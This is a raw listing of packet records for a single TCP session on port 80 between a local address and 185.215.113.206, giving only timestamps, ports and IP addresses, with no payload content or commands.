Oct 29, 2024 04:52:31.933243990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933247089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933264017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933270931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933271885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933280945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933298111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933298111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933299065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933315992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933330059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933332920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933348894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933362961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933365107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933382034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933383942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933398962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933406115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933406115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933425903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933444023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934082031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934099913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934113979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934129953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934144020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934145927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934145927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934164047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934166908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934185028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934204102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934211969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934211969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934212923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934220076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934237003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934243917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934243917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934262991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934282064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934705019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934720039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934736013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934751034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934761047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934762001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934766054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934787989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934787989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934789896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934808016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934808969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934824944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934840918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934850931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934851885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934859037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934875011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934876919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934876919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934892893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.934895992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934914112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.934935093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.935514927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.935530901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.935545921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.935560942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.935573101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.935573101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.935575962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.935592890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.935594082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.935607910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.935619116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.935623884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.935636997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.935641050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.935662985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.935662985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.935682058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.973145962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.973165035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.973179102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.973244905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.973329067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047174931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047214031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047230959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047265053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047265053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047396898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047413111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047427893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047444105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047444105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047461987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047465086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047485113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047533035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047673941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047692060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047723055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047723055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047795057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047810078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047856092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047856092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047928095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047944069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047961950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047976971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047991991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.047993898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047993898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.047993898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048028946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048028946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048245907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048261881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048275948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048290968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048305035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048309088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048309088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048321009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048331976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048351049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048382044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048588991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048645020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048662901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048679113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048716068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048716068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048825026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048841000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048849106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048863888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048882008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048897028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048912048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048926115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048942089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.048957109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048995018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.048995018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.049452066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049468040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049484015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049499035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049515009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049519062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.049520016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.049530983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049547911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049559116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.049561977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049576998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049580097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.049593925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049597979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.049609900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049617052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.049627066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.049637079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.049662113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.049662113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050180912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050203085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050218105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050231934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050240993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050240993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050247908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050263882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050285101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050285101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050286055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050319910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050709009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050724983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050748110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050761938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050779104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050781012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050793886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050806046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050810099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050827980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050843954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050844908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050843954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050863028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050869942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050869942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050879955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050896883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050900936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050900936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050914049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.050920010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050940037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.050959110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.051706076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051723957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051738977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051754951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051769018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.051770926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051789045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051805973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051812887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.051812887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.051821947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051841021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051846027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.051857948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051868916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.051875114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051892996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051906109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.051908016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051925898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051930904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.051939964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051947117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.051954985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.051987886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.052009106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.052642107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052658081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052674055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052690029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052691936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.052706003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052715063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.052722931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052736044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.052742004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052757978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052768946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.052772999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052788973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052789927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.052805901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052818060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.052823067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052840948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052854061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.052856922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.052875042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.052910089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.053432941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.053447962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.053495884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.090171099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.090214014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.090229988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.090270996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.090307951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.164547920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.164601088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.164611101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.164618015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.164657116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.164657116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.164781094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.164797068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.164810896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.164825916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.164836884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.164836884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.164841890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.164858103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.164882898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.164882898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165075064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165091038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165107965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165147066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165148020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165349007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165364981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165380001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165395975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165407896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165411949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165430069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165430069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165452003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165476084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165723085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165740013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165777922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165810108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165884018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165899038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165914059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165929079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165939093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165939093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165946007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165960073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165963888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165981054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.165983915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.165985107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166003942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166023970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166373014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166388988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166404009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166419983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166430950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166430950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166435957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166452885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166459084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166459084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166470051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166485071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166491032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166491032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166501045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166510105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166518927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166536093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166536093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166554928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.166954041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166970015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.166985035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167001009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167002916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167017937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167023897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167032003 CET	80	49760	185.215.113.206	192.168.2.4
